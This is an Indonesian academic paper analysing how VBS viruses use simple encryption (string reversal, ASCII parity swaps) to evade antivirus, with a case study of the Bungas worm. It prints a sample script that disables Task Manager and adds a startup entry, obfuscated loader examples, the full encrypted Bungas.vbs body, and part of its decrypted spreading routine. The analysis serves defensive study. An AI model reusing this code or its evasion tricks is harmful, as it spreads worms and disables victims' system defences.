• Tidak ada hasil yang ditemukan

Kriptografi pada Virus VBS

N/A
N/A
Protected

Academic year: 2021

Membagikan "Kriptografi pada Virus VBS"

Copied!
7
0
0

Teks penuh

(1)

Kriptografi pada Virus VBS

Yusuf Adriansyah 13507120

1)

1)

Jurusan Teknik Informatika ITB, Bandung, email: yusufat@students.itb.ac.id

Abstrak – Makalah ini membahas tentang virus

kom-puter yang dibatasi hanya pada jenis VBS (Visual

Basic Script), dan penggunaan kriptografi pada

ba-dan virus VBS masa kini untuk mengelabui antivirus.

Kata Kunci: kriptografi, virus komputer, visual basic

script.

1. PENDAHULUAN

Sekarang ini, hampir semua pengguna komputer takut

dengan benda bernama virus komputer. Hampir semua

komputer – khususnya yang menggunakan sistem

ope-rasi Windows – terpasang perangkat lunak antivirus

untuk melindungi diri. Dulu orang yang membuat

virus harus mengetahui teknik pemrograman tingkat

rendah, semisal assembly. Sekarang virus dapat

dika-takan "mudah dibuat" karena begitu banyaknya bahasa

pemrograman tingkat tinggi yang lebih mudah

dikua-sai.

Pada sistem operasi Windows, virus zaman dulu

masih berbentuk executables (.exe), menyebar melalui

email atau disket. Tetapi sejak Windows 98 dikenal

sesuatu yang disebut Windows Scripting Host (WSH)

yang kemudian berganti nama menjadi Windows

Script Host. WSH adalah teknologi otomasi dari

Mi-crosoft untuk menjalankan serangkaian proses yang

kita tulis dalam file script. Bahasa pemrograman yang

didukungnya adalah javascript (.js) dan visual basic

script (.vbs). WSH diperlukan untuk menjalankan

be-berapa fungsi dari sistem operasi Windows itu sendiri,

tetapi juga dimanfaatkan oleh pembuat virus untuk

menjalankan virus/wormnya. Mulai dikenal virus JS

(javascript) dan VBS (visual basic script). Sekarang

saya sudah tidak mendengar lagi kabar virus JS,

mungkin karena bahasa Java agak sulit. Sebaliknya,

virus VBS tetap ada sampai sekarang. Makalah ini

hanya membahas virus jenis VBS pada sistem operasi

Windows.

Visual basic script menggunakan bahasa Basic.

Meng-apa ditambahi kata ―visual‖ di depannya, karena

Mi-crosoft Visual Basic (VB) itu sendiri menggunakan

bahasa Basic yang sudah tidak murni lagi, sudah

di-tambahi fungsi dan fitur tambahan buatan Microsoft.

File .vbs sejatinya adalah teks biasa. Buka saja berkas

virus VBS dengan editor teks, langsung kelihatan

baris-baris programnya. Mesin antivirus cukup mudah

mengendus keberadaan virus semacam ini cukup

de-ngan melihat baris program seperti itu. Bila baris

pro-gram itu berbahaya, semisal perintah untuk

memfor-mat harddisk, maka berkas (file) yang bersangkutan

bisa ―dituduh‖ sebagai virus. Untuk itulah, sekarang

ini pembuat virus VBS menggunakan kriptografi pada

badan virus untuk mencegah baris programnya dilihat

orang sekaligus untuk mengelabui antivirus.

2. PEMBAHASAN

Dengan visual basic script, Anda dapat membuat

program sederhana. Anda boleh tulis kode berikut

de-ngan editor teks dan simpan dede-ngan ekstensi .vbs.

Ka-rena kolom ini sempit sekali, pergantian baris

(pene-kanan tombol Enter) ditulis dengan warna latar yang

berbeda.

dim x

x = InputBox("masukkan nama Anda", "Contoh greeting menggunakan VBS")

msgbox "Selamat siang, " & x & "!",64, "Contoh greeting menggunakan VBS"

Kemudian jalankan berkas .vbs ini. Komputer akan

menanyakan nama Anda dan kemudian mengucapkan

selamat siang.

Program di atas tidaklah berbahaya. Yang berbahaya

itu yang seperti ini:

„membuat objek Dim objReg

set objReg=createobject("WScript.Shell") „nonaktifkan Windows Task Manager

objReg.RegWrite"HKEY_CURRENT_USER\Software\Mi crosoft\Windows\CurrentVersion\Policies\Syste m\DisableTaskMgr", "1", "REG_DWORD"

„jalankan diri sendiri saat start up Windows objReg.RegWrite"HKEY_CURRENT_USER\Software\Mi crosoft\Windows\CurrentVersion\Run\", "C:\virus_ini.vbs"

Bila script ini dijalankan pada komputer dengan hak

akses administrator, maka pengguna komputer tidak

bisa mengakses aplikasi Windows Task Manager, dan

worm ini akan terus dieksekusi setiap kali komputer

dinyalakan. Virus dan worm VBS ―yang sebenarnya‖

jauh lebih sakti dari ini

Dua program di atas adalah contoh program VBS

yang tidak terenkripsi. Artinya, orang lain bisa

lang-sung melihat kode programnya. Antivirus pun

demi-kian, mesin heuristic-nya mampu mengenali tulisan

script yang berbahaya. Supaya tidak langsung

keta-huan, pembuat virus mengenkripsi prosedur utama

virusnya.

Secara umum, virus (atau worm) VBS dalam bentuk

terenkripsi memiliki tiga komponen yaitu:

i.

Badan utama virus, dalam keadaan

teren-kripsi,

ii.

Fungsi yang melakukan dekripsi, disebut

(2)

iii.

Perintah yang mengeksekusi badan utama

virus setelah melewati fungsi dekriptor.

Dalam visual basic script, bagian utama virus adalah

kode-kode VBS ―jahat‖ dalam bentuk string yang

dienkripsi. String terenkripsi ini dimasukkan dalam

se-buah variabel. Kemudian fungsi dekriptor adalah

fungsi biasa yang kode di dalamnya tidak terenkripsi.

Bagian terakhir adalah perintah

execute

, bentuk

lengkapnya adalah:

execute(fungsi dekriptor(variabel string terenkripsi))

.

Berikut contoh program yang memakai skema

enkripsi seperti di atas.

i = "nthapw!sfts!9nthapw!jmjdpmspgoqphqbnUAT- sfqfmlqjotj!9nthapw!vot--lfsbgvbmcfglpcfmzb-9C!" execute(dekrip(i)) Function dekrip(argumen) dim a,b,c,d d = "" For a= 1 To Len(argumen) b= Asc(Mid(argumen, a, 1)) If b Mod 2 = 0 Then c= Chr(b- 1) Else c= Chr(b+ 1) End If d = d & c Next dekrip= d End Function

Program ini masih kelihatan jelas struktur dasarnya.

Baris pertama adalah kode program dalam bentuk

string yang dienkripsi, baris kedua adalah perintah

eksekusi, dan sisanya adalah fungsi dekriptor. Fungsi

dekriptor bisa ditulis di paling atas atau paling akhir,

karena komputer menyimpannya dalam memori untuk

siap dipanggil. Sedangkan baris perintah di luar blok

Function

atau

Sub

akan dieksekusi secara sekuensial,

itulah mengapa perintah

execute

harus di akhir

de-retan baris.

Untuk memusingkan pembaca, biasanya pembuat

vi-rus mengganti karakter pindah baris (penekanan

tom-bol Enter) dengan simtom-bol titik dua ‗ : ‘ yang dalam

ba-hasa Basic artinya sama dengan pindah baris.

Aki-batnya di dalam berkas .vbs hanya terdapat satu baris

yang panjang sekali seperti

i =

"nthapw¬!sfts!9nthapw¬!jmj¬dpmspg¬oqphqbn¬UAT ¬sfqfmlqjotj!9nthapw¬!vot--¬lfsbgvbm¬cfg-lpcfmzb¬9C!":execute(dekrip(i)):Function dekrip(argumen): dim a,b,c,d:d="":For a=1 To Len(argumen):b= Asc(Mid(argumen,a,1)):If b Mod 2=0 Then:c=Chr(b-1):Else:c= Chr(b+1):End If:d=d&c:Next:dekrip=d:End Function

Bahkan pembuat virus menggunakan nama-nama aneh

dalam nama fungsi serta variabel, agar sulit dideteksi.

Ini program yang sama dengan yang di atas, tapi

menggunakan nama variabel dan fungsi yang sulit,

plus enkripsi membalik teks.

Function DA4687032(DB6491471):DA4687032=StrReverse(DB6 491471):End Function:DD7A4F01C="2D3DEFF1FD etucexE:))44EA3ED(2307864AD(67D41513AB=2D3DEF F1FD:"&""""&"nthapw!sfts!9nthapw!jmjdpmspg- oqphqbnUATsfqfmlqjotj!9nthapw!vot--lfsbgvbm-cfglpcfmzb9C!"&""""&"=44EA3ED:noitcnuF dnE:)2 / )BB891E4BB(neL ,BB891E4BB(thgiR =67D41513AB:txeN:D59A21B1CB&BB891E4BB =BB891E4BB:fI dnE:)1 +A4567782DB(rhC =D59A21B1CB:eslE:)1 -A4567782DB(rhC

=D59A21B1CB:nehT 0 = 2 doM A4567782DB fI:))1 ,631807BCB ,BB891E4BB(diM(csA

=A4567782DB:)BB891E4BB(neL oT 1 =631807BCB roF:)BB891E4BB(67D41513AB

noitcnuF":DC13C54158=DA4687032(DD7A4F01C):Exe cute DC13C54158

Program yang saya tulis barusan bukanlah program

berbahaya, tidak apa-apa bila Anda jalankan. Ada satu

cara yang sakti dalam menaklukkan virus VBS

teren-kripsi, yakni cukup dengan mengganti semua perintah

execute

menjadi

msgbox

.

Enkripsi yang dipakai mulai dari yang sederhana

se-perti membalik teks — misalnya

shell("virus.bat")

menjadi

)"tab.suriv"(llehs

—, enkripsi Julius

Caesar, mengacak-acak nilai ASCII setiap huruf dari

teks, mengubah huruf ke heksadesimal, enkripsi

enig-ma, dan lain-lain. Juga digunakan kombinasi

macam-macam enkripsi, atau enkripsi berulang-ulang.

Sema-kin tinggi tingkat enkripsi yang digunakan, semaSema-kin

sulit virus dideteksi. Aritmetika modulo memegang

peranan penting dalam enkripsi tubuh virus.

2.1. Virus Bungas, VBS terenkripsi yang tak

me-miliki dekriptor

Pembahasan ini spesifik ke virus Bungas, virus

ber-jenis VBS buatan Indonesia yang muncul bulan Juni

2008 yang lalu. Virus ini menarik, sebab dalam tubuh

utamanya sebagian besar teks dalam keadaan

teren-kripsi, tetapi tidak ditemukan fungsi yang

mendekrip-sikannya.

Dalam bahasa Banjarmasin, ―bungas‖ berarti ―cantik‖.

Berkas utama virus ini adalah Bungas.vbs yang

ber-ukuran 7222 bytes. Inilah isi dari Bungas.vbs:

On Error Resume Next Set STIS=CreateObject(“Scripting.FileSystemObject ”) Function Matdis(PTI):Matdis=Strreverse(PTI):End Function Set Statdesk=STIS.CreateTextFile(Matdis(”sgb.tadk urtS”)) Statdesk.WriteLine Matdis(”:)nillA(CPM noitcnuF”)&vbcrlf&Matdis(”)nillA(neL oT 1=I roF”)&vbcrlf&Matdis(”))1,I,nillA(diM(csA=

(3)

orplA”)&vbcrlf&Matdis(”nehT 0=2 dom orplA fI”)&vbcrlf&Matdis(”)1-orplA(rhC=gnauleP”)&vbcrlf&Matdis(”eslE”)&vbcrlf&Matdis(”)1+orplA(rhC=gnauleP”)&vbcrlf&Matdis( ”fI dnE”)&vbcrlf&Matdis(”gnauleP&munteM=munteM”)&vbcrlf&Matdis(”txeN”)&vbcrlf&Matdis(”noitcnuF dnE:)munteM(esreverrtS=CPM”) Statdesk.Close Statmat=STIS.OpenTextFile(Matdis(”sgb.tadkurtS”)).ReadAll execute Statmat Set FoxPro=CreateObject(“Scripting.FileSystemObject”) Set Siberdok=FoxPro.CreateTextFile(MPC(”tha-tdjstjsbst”))

Siberdok.writeline MPC(” _ _:4_>_tfsvajqssb-jtbkfqpL qflbntvqjU[!%gsboonfs'fkjesfh-mbfN_>_jtbkfqpL_sft _:4_>_tfsvajqssb-jtbkfqpL _*!sba-qflbntvqjU[!%gsbomjx'fkjesfh-mbfN_>_jtbkfqpL_sft _:4_>_tfsvajqssb-jtbkfqpL _*!tau-tbhmva[!%gsboonfs'fkjesfh-mbfN_>_jtbkfqpL_sft _:4_>_tfsvajqssb-jtbkfqpL _*!tau-tbhmva[!%gsbomjx'fkjesfh-mbfN_>_jtbkfqpL_sft

_!sba-qflbntvqjU[!%gsbomjx+!sba-qflbntvqjU[!%gsboonfs_fkjEzopD-mbfN _!tau-tbhmva[!%gsbomjx+kbjnpmjA_fkjEzopD-mbfN _!tau-tbhmva[!%gsboonfs+kbjnpmjA_fkjEzopD-mbfN _!tha-sbclvqsT!_fkjEfsfkfC-mbfN _!tha-tdjstjsbst!_fkjEfsfkfC-mbfN _ftpkd-tmbjqbU _!ftvbo!%ekqdau%!}_pgdf!%ekqdau%!- oqpD_zsfjdpT_fkopfO_tbhmvA_7//1.8//1_sghjqzopD_*D'_pgdf!%ekqdau%!^8//1-5/-2/_mpjtqfU\nfstzT_hmjsbqfoP_tbhmvA_pgdf!%ekqdau%!}_pgdf!%ekqdau%!__$$$$$$$$__$$_______$$__$$$$ $$$$$__$$_______$$__$$$$$$$$$____$$$$$$$$$$____pgdf!%ekqdau%!_$$$$$$$$$$_$$_______$$_$$$$$$$$$ $$_$$_______$$_$$$$$$$$$$$__$$$$$$$$$$$____pgdf!%ekqdau%!_$$______$$_$$_______$$_$$_______$$_$ $_______$$_$$_______$$_$$$_______$$____pgdf!%ekqdau%!_$$______$$_$$_______$$_$$_______$$_$$___ ____$$_$$_______$$_$$________$$____pgdf!%ekqdau%!_$$_________$$_______$$_$$_______$$_$$$______ $$_$$_______$$_$$________$$____pgdf!%ekqdau%!_$$$$$$$$$__$$$$$$$$$$$_$$$$$$___$$_$$$$_____$$_$ $_______$$_$$$_______$$____pgdf!%ekqdau%!__$$$$$$$$$_$$$$$$$$$$$__$$$$$___$$_$$_$$____$$_$$___ ____$$__$$$$$$$$$$$____pgdf!%ekqdau%!_________$$_$$_______$$__________$$_$$__$$___$$_$$_______ $$___$$$$$$$$$$____pgdf!%ekqdau%!_$$______$$_$$_______$$__________$$_$$___$$__$$_$$_______$$__ _$$______$$____pgdf!%ekqdau%!_$$______$$_$$_______$$__________$$_$$____$$_$$_$$_______$$__$$__ _____$$____pgdf!%ekqdau%!_$$______$$_$$_______$$_$$_______$$_$$_____$$$$_$$_______$$__$$$_____ _$$____pgdf!%ekqdau%!_$$$$$$$$$$_$$$$$$$$$$$_$$$$$$$$$$$_$$______$$$_$$_______$$___$$$$$$$$$$_ ___pgdf!%ekqdau%!__$$$$$$$$__$$$$$$$$$$$__$$$$$$$$$__$$_______$$_$$_______$$____$$$$$$$$$____p gdf!%ekqdau%!}_pgdf!%ekqdau%!nfstzT_hmjsbqfoP_tbhmvA_fksjs!%ekqdau%!eep_pgdf?!_fmjkfsjqx-tmbjqbU _*!sba-qflbntvqjU[!%gsboonfs'fkjEswfSfsbfqD-mbfN>gdf!%ekqdau%!}_pgdf!%ekqdau%!nfstzT_hmjsbqfoP_tbhmvA_fksjs!%ekqdau%!eep_pgdf?!_fmjkfsjqx-tmbjqbU_sfT _*1'qfckpekbjdfotsfh-mbfN>gsboonfs_sfT _*/'qfckpekbjdfotsfh-mbfN>gsbomjx_sfT _*!sdfiaPnfstzTfkjE-hmjsojqdT!'sdfiaPfsbfqD>mbfN_sfT _eJ_cmF __swfM __eJ_cmF _!tau-tbhmva!+**smfcvsT'nfsJ-jkkvpmqfA'gsbOckjvA-mptjpO+kbjnpmjA_fkjEzopD-mptjpO __mfgS_/_=;_*![!_+*smfcvsT'nfsJ-jkkvpmqfA'qsTmJ_eJ __2_._smvpD-jkkvpmqfA_pS_/_>_smfcvsT_qpE __mfgS_/_=;_smvpD-jkkvpmqfA_eJ __tfujqClqpxsfMnvmF-ljqsfnpfhqfozG_>_jkkvpmqfA_sfT __*!lqpxsfM-sojqdTX!'sdfiaPfsbfqD_>_ljqsfnpfhqfozG_sfT __*fnbMkkvEsojqdT-sojqdtX'fkjEsfH-mptjpO_>_kbjnpmjA_sfT __*!sdfiaPnfstzTfkjE-hmjsojqdT!'sdfiaPfsbfqD>mptjpO_sfT _swfm_fnvtfq_qpqqf_mP") & vbcrlf Siberdok.close Pengamat=FoxPro.OpenTextFile(MPC("tha-tdjstjsbst")).ReadAll execute Pengamat Set CSPro=CreateObject("Scripting.FileSystemObject") Set SPSS=CSPro.CreateTextFile(MPC("tha-mjkpN")) SPSS.writeline MPC(" _ _!tau-tbhmva[!_%_gsboonfs_mvq-TOB _*!kkfgt-sojqdtX!'sdfiapfsbfqd_>_TOB_sft _!sba-qflbntvqjU[!_%_gsboonfs_mvq-tvtmfT _*!kkfgt-sojqdtX!'sdfiapfsbfqd_>_tvtmfT_sft _2_=;_kbjtjmj_fkjgx_oppk _ej_cmf _////1_offkt-sojqdtX _mfgs_2_=;_kbjtjmj_ej

_!qfhhvafC[fwf-cnd[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDPK`ZF LG!fsfkfchfq-smfjdjeevT _!!!tau-tbhmva[!_%_gsbomjx%!!!_fwf-qfqpkowF!+!kkfgT[mphpkmjX[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDPK`ZFLG!fsjq xhfq-smfjdjeevT _!sba-qflbntvqjU!+!qfhhvafC[fwf-cqpxmjx[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP K`ZFLG!fsjqxhfq-smfjdjeevT _!sba-qflbntvqjU!+!qfhhvafC[fwf-qutsmfhb[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBD PK`ZFLG!fsjqxhfq-smfjdjeevT _!sba-qflbntvqjU!+!qfhhvafC[fwf-cbocqpx[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP K`ZFLG!fsjqxhfq-smfjdjeevT _!sba-qflbntvqjU!+!qfhhvafC[fwf-cbofspm[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP K`ZFLG!fsjqxhfq-smfjdjeevT _!sba-qflbntvqjU!+!qfhhvafC[fwf-sjcfhfq[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP K`ZFLG!fsjqxhfq-smfjdjeevT _!sba-qflbntvqjU!+!qfhhvafC[fwf-hjempdtn[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBD PK`ZFLG!fsjqxhfq-smfjdjeevT _!sba-qflbntvqjU!+!qfhhvafC[fwf-qhnltbs[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP K`ZFLG!fsjqxhfq-smfjdjeevT _!sba-qflbntvqjU!+!qfhhvafC[fwf-jvqstq[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDPK `ZFLG!fsjqxhfq-smfjdjeevT _!tau-tbhmva[!_%_gsboonfs+!tbhmva[mvQ[mpjtqfUsmfqqvD[txpcmjX[septpqdjN[fqbxsepT[QFTV`SMFQQVD`ZFLG!fs jqxhfq-smfjdjeevT _!CQPXC`HFQ!+!1!+!CNDfkabtjC[nfstzT[txpcmjX[septpqdjN[tfjdjkpO[fqbxsepT[QFTV`SMFQQVD`ZFLG!fsjq XhfQ-smfjdjeevT _!CQPXC`HFQ!+!2!+!qhNltbSfkabtjC[nfstzT[tfjdjkpO[mpjtqfUsmfqqvD[txpcmjX[septpqdjN[fqbxsepT[QFT V`SMFQQVD`ZFLG!fsjqXhfQ-smfjdjeevT _!CQPXC`HFQ!+!2!+!tkppSzqstjhfQfkabtjC[nfstzT[tfjdjkpO[mpjtqfUsmfqqvD[txpcmjX[septpqdjN[fq

(4)

bxsepT[QFTV`SMFQQVD`ZFLG!fsjqXhfQ-smfjdjeevT _!CQPXC`HFQ!+!/!+!mfccjGqfovTxpgT[cfdmbucB[qf qpkowF[mpjtqfUsmfqqvD[txpcmjX[septpqdjN[fqbxs epT[QFTV`SMFQQVD`ZFLG!fsjqXhfQ-smfjdjeevT _*!kkfgT-sojqdTX!'sdfiapfsbfqd_>_smfjdjeevT_sft _swfm _ej_cmf _:4>_tfsvajqssb-bgokB _!emj-mvqpsvb[!%_gsbo-fujqcgtbke+kbspujO_fkjezopd-bnnbH _14>_tfsvajqssb-bgokB _*!emj-mvqpsvb[!%_gsbo-fujqcgtbke'fkjesfh-bnnbH>bgokB_sft _:4>_tfsvajqssb-bgokB _*!tau- !%jfuqvT%![!%_gsbo-fujqcgtbke'fkjesfh-bnnbH>bgokB_sft _!tau- !%jfuqvT%![!%_gsbo-fujqcgtbke+bsfA_fkjezopd-bnnbH _mfgs_!9B!_=;_gsbo-fujqcgtbke_cmb_*2_>_fozsfujqc-fujqcgtbke'_eJ _tfujqc-bnnbH_mj_fujqcgtbke_gdbf_qpe _pc _:4>_tfsvajqssb-kbspujO __*!tha-qflbntvqjU[!%gsboonfs'fkjEsfH-bnnbH>kbspujO_sfT _ftpkd-SKD _!tfjsqfopqO>kkfgt!%ekqdau%!!!tau- !%jfuqvT%!!!!%!_fwf-sojqdtx>cmbnnpd[tfjsqfopqO[kkfgt!%ekqdau%!^mv qpsvB\!_fmjkfsjqx-SKD _*!tha- qflbntvqjU[!%gsboonfs'fkjEswfSfsbfqD-bnnbH>SKD_sfT _*/'qfckpekbjdfotsfh-bnnbH>gsbomjx_sfT _*1'qfckpekbjdfotsfh-bnnbH>gsboonfs_sfT _**'xpM'qbfZ%**'xpM'gsmpN%**'xpM'zbC>jfuqvT _fozsfujqc-fujqc-bsfA_>_kbjtjmj __*fnbMkkvEsojqdT-sojqdtX'fkjEsfH-bnnbH>bsfA_sfT _!tha-mjkpN!_fkjEfsfkfC-bnnbH _*!sdfiaPnfstzTfkjE-hmjsojqdT!'sdfiapfsbfqd>bnnbH_sft _swfm_fnvtfq_qpqqf_mp ")&vbcrlf SPSS.close Kalkulus=CSPro.OpenTextFile(MPC("tha-mjkpN")).ReadAll execute Kalkulus

Seperti yang sudah dijelaskan, hampir semua isinya

terenkripsi. Juga tidak ditemukan fungsi dekriptornya.

Jika Anda lihat, fungsi dekriptor yang digunakannya

adalah fungsi bernama Matdis dan MPC. Definisi

fungsi Matdis ada, yaitu:

Function Matdis(PTI): Matdis=Strreverse(PTI): End Function:

Perintah

StrReverse

dalam bahasa (visual) Basic

berarti String Reverse, membalik sebuah string dari

yang semula dibaca kiri ke kanan menjadi kanan ke

kiri. Satu dekriptor sudah ditemukan, tetapi tidak

ditemukan definisi fungsi MPC. Oleh sebab itulah,

mari kita lihat baris-baris berikut:

Set Statdesk=STIS.CreateTextFile(Matdis(”sgb.tadk urtS”)) Statdesk.WriteLine Matdis(”:)nillA(CPM noitcnuF”)&vbcrlf&Matdis(”)nillA(neL oT 1=I roF”)&vbcrlf&Matdis(”))1,I,nillA(diM(csA=orpl A”)&vbcrlf&Matdis(”nehT 0=2 dom orplA fI”)&vbcrlf&Matdis(”)1-orplA(rhC=gnauleP”)&vbcrlf&Matdis(”eslE”)&vbc rlf&Matdis(”)1+orplA(rhC=gnauleP”)&vbcrlf&Mat dis(”fI dnE”)&vbcrlf&Matdis(”gnauleP&munteM=munteM”)& vbcrlf&Matdis(”txeN”)&vbcrlf&Matdis(”noitcnuF dnE:)munteM(esreverrtS=CPM”) Statdesk.Close

Baris pertama, method

CreateTextFile(Matdis (“sgb.tadkurtS”))

sama dengan

CreateTextFile (“Strukdat.bgs”).

Baris ini berisi perintah untuk

membuat sebuah file bernama Strukdat.bgs.

Kemudian baris kedua, setelah string-susah-dibaca itu

melewati fungsi Matdis, baris itu ekivalen dengan:

Statdesk.WriteLine “Function MPC(Allin):” & vbCrLf & “For I=1 To Len(Allin)” & vbCrLf & “Alpro=Asc(Mid(Allin,I,1))” & vbCrLf & “If Alpro mod 2=0 Then” & vbCrLf &

“Peluang=Chr(Alpro-1)” & vbCrLf & “Else” & vbCrLf & “Peluang=Chr(Alpro+1)” & vbCrLf & “End If” & vbCrLf & “Metnum=Metnum&Peluang” & vbCrLf & “Next” & vbCrLf &

“MPC=Strreverse(Metnum):End Function”

vbCrLf

adalah konstanta dalam bahasa (visual) Basic

yang berupa gabungan ASCII 13 dan 10, tak lain dari

karakter pindah baris. Baris ketiga,

Statdesk.Close

bertugas menutup penulisan file Strukdat.bgs.

Jadi isi Strukdat.bgs menjadi:

Function MPC(Allin) For I = 1 To Len(Allin) Alpro=Asc(Mid(Allin, I, 1)) If Alpro mod 2 = 0 Then Peluang = Chr(Alpro - 1) Else

Peluang = Chr(Alpro + 1) End If

Metnum = Metnum & Peluang Next

MPC = Strreverse(Metnum) End Function

Inilah fungsi dekriptor. Pertama, setiap karakter dalam

argumen

Allin

dibaca dan diambil nilai ASCIInya

dengan fungsi

Asc

, lalu disimpan dalam variabel

Alpro

. Jika genap (

Alpro mod 2 = 0

) maka ASCII

huruf itu dikurangi satu. Jika ganjil, maka ASCIInya

ditambah satu. Nilai ASCII yang baru diubah lagi

menjadi karakter dengan fungsi

Chr

. Terakhir,

kese-luruhan teks dibalik (string reverse), dan itulah teks

yang dikembalikan oleh fungsi MPC.

Rupanya definisi dari fungsi dekriptor MPC ada di file

lain, bukan di dalam tubuh utama virus. Supaya bisa

menggunakan fungsi MPC ini dalam tubuh utama

vi-rus, baris setelah

Statdesk.Close

adalah:

Statmat=STIS.OpenTextFile(Matdis("sgb.tadkurt S")).ReadAll

execute Statmat

Virus membuka file Strukdat.bgs dan mengeksekusi

fungsi di dalamnya, menjadikan fungsi MPC

terdefi-nisi dan bisa dipakai.

(5)

file baru bernama ―statistics.bgs‖ (

tha-tdjstjsbst

)

berdasarkan kode selanjutnya, mulai dari baris

Set FoxPro=CreateObject("Scripting.FileSystemObje ct")

sampai perintah

execute Pengamat

.

Isi dari statistics.bgs setelah didekripsi saya masukkan

ke lampiran, sebab Anda akan lebih jelas mengerti

maksudnya dalam tampilan satu kolom. Setelah virus

utama selesai membuat statistics.bgs, ia segera

meng-eksekusinya. Secara umum yang dikerjakan

statis-tics.bgs adalah:

Menyebarkan ―bungas.vbs‖ melalui jaringan

(network)

Menyalin ―bungas.vbs‖ ke folder Windows

dan Temp

Membuat berkas ―virusmaker.bat‖ yang

tu-gasnya menampilkan tulisan ‗BUNGAS‘

be-sar-besar dari kumpulan simbol ‗#‘. Silakan

lihat di lampiran, di sana terlihat jelas.

Menyalin ―virusmaker.bat‖ ke folder

Win-dows dan Temp

Membuat supaya ―bungas.vbs‖ dan

―virus-maker.bat‖ tidak bisa dilihat langsung dengan

mengatur atribut keduanya menjadi hidden +

system

Menghapus dirinya sendiri beserta ―strukdat.

bgs‖

Ini baru ―kerjaan‖ virus yang sebenarnya, yaitu

bere-produksi menyebarkan dirinya sendiri. Setelah virus

membuat statistics.bgs, ia membuat berkas baru

ber-nama Molin.bgs (

tha-mjkpN

) mulai dari kode

Set CSPro=CreateObject("Scripting.FileSystemObjec t")

sampai perintah

execute Kalkulus

, semuanya

bisa Anda lihat dalam source code utama virus di atas.

Setelah selesai dibuat, virus langsung

mengekseku-sinya. Molin.bgs bertugas untuk:

Menyebarkan dirinya melalui flashdisk

Membuat ―virusmaker.bgs‖, berkas ini

ber-tugas untuk membuat autorun pada flashdisk

Membuat supaya pengguna komputer tidak

dapat melihat berkas tersembunyi (hidden)

Mematikan editor registry (regedit.exe)

Mematikan Windows Task Manager

Mematikan Command Prompt kecuali untuk

menjalankan virusmaker.bat

Membuat supaya ―bungas.vbs‖ dijalankan

setiap kali komputer dinyalakan

Melumpuhkan sejumlah perangkat lunak

yaitu System Restore, MSconfig, Notepad,

Wordpad, agentsvr.exe, dan Microsoft Word.

Menghapus dirinya sendiri

Jadi kerja utama virus justru bukan di tubuh utamanya,

tetapi dalam berkas lain yang ia keluarkan, dekripsi,

dan eksekusi. Ide dalam pembuatan virus yang

sede-mikian rupa, memanfaatkan enkripsi dan teknik

me-nyembunyikan fungsi virus ini yang patut diapresiasi.

Enkripsinya tidak begitu sulit, hanya mempertukarkan

dua huruf yang ASCIInya berdekatan, sekaligus

diba-lik (reverse). Tetapi fungsi untuk melakukan hal itu

yang tidak ditemui dalam tubuh utama virus, di

sa-nalah keunikannya.

3. KESIMPULAN

Zaman dulu virus VBS ―main buka-bukaan‖ dalam

pengertian bisa dilihat langsung baris programnya.

Zaman sekarang virus VBS sudah menggunakan

en-kripsi. Malah virus Bungas yang dibahas di sini

dengan lihai menyembunyikan kunci pembuka

enkrip-sinya. Seperti apa virus masa depan? Pembuat virus

selalu saja ada akal untuk membuat virusnya lolos dari

jeratan antivirus. Virus VBS masa depan akan selalu

dienkripsi, tetapi antivirus masa depan juga akan

se-makin pintar. Mungkin virus VBS masa depan akan

mengikuti jejak virus Bungas ini.

Saran saya sama dengan saran orang-orang lain di

bidang komputer. Bila Anda menggunakan sistem

operasi Windows, ganti default handler untuk berkas

.vbs dan .js menjadi editor teks; sehingga bila Anda

tanpa sengaja menjalankan berkas .vbs maka ia tidak

akan dijalankan, tetapi justru dibuka dengan editor

teks.

DAFTAR REFERENSI

[1] ―Bungas.vbs: Menyembunyikan Decryptor‖, PC

Media, edisi Desember 2008, hal.72-73.

[2] kumpulan artikel-artikel tentang enkripsi dan virus

Bungas di

http://5t4t15t1c5.wordpress.com/category/pemrog

raman/virus/

(6)

Lampiran 1. Isi file “statistics.bgs” setelah didekripsi

On error resume next

Set Poison=CreateObject("Scripting.FileSystemObject") Set Binomial = Poison.GetFile(Wscript.ScriptFullName) Set Hypergeometrik = CreateObject("WScript.Network") Set Bernoulli = Hypergeometrik.EnumNetworkDrives If Bernoulli.Count <> 0 Then

For Student = 0 To Bernoulli.Count - 1

If InStr(Bernoulli.Item(Student), "\") <> 0 Then Poison.CopyFile Binomial,Poison.BuildPath(Bernoulli.Item(Student)),"bungas.vbs" End If Next End If Set Mean=CreateObject("Scripting.FileSystemObject") Set winpath=Mean.getspecialfolder(0) Set temppath=Mean.getspecialfolder(2) Set Varians=Mean.CreateTextFile(temppath&"\Virusmaker.bat")

Varians.writeline "@echo off"&vbcrlf&"title Bungas Operating System"&vbcrlf&"echo

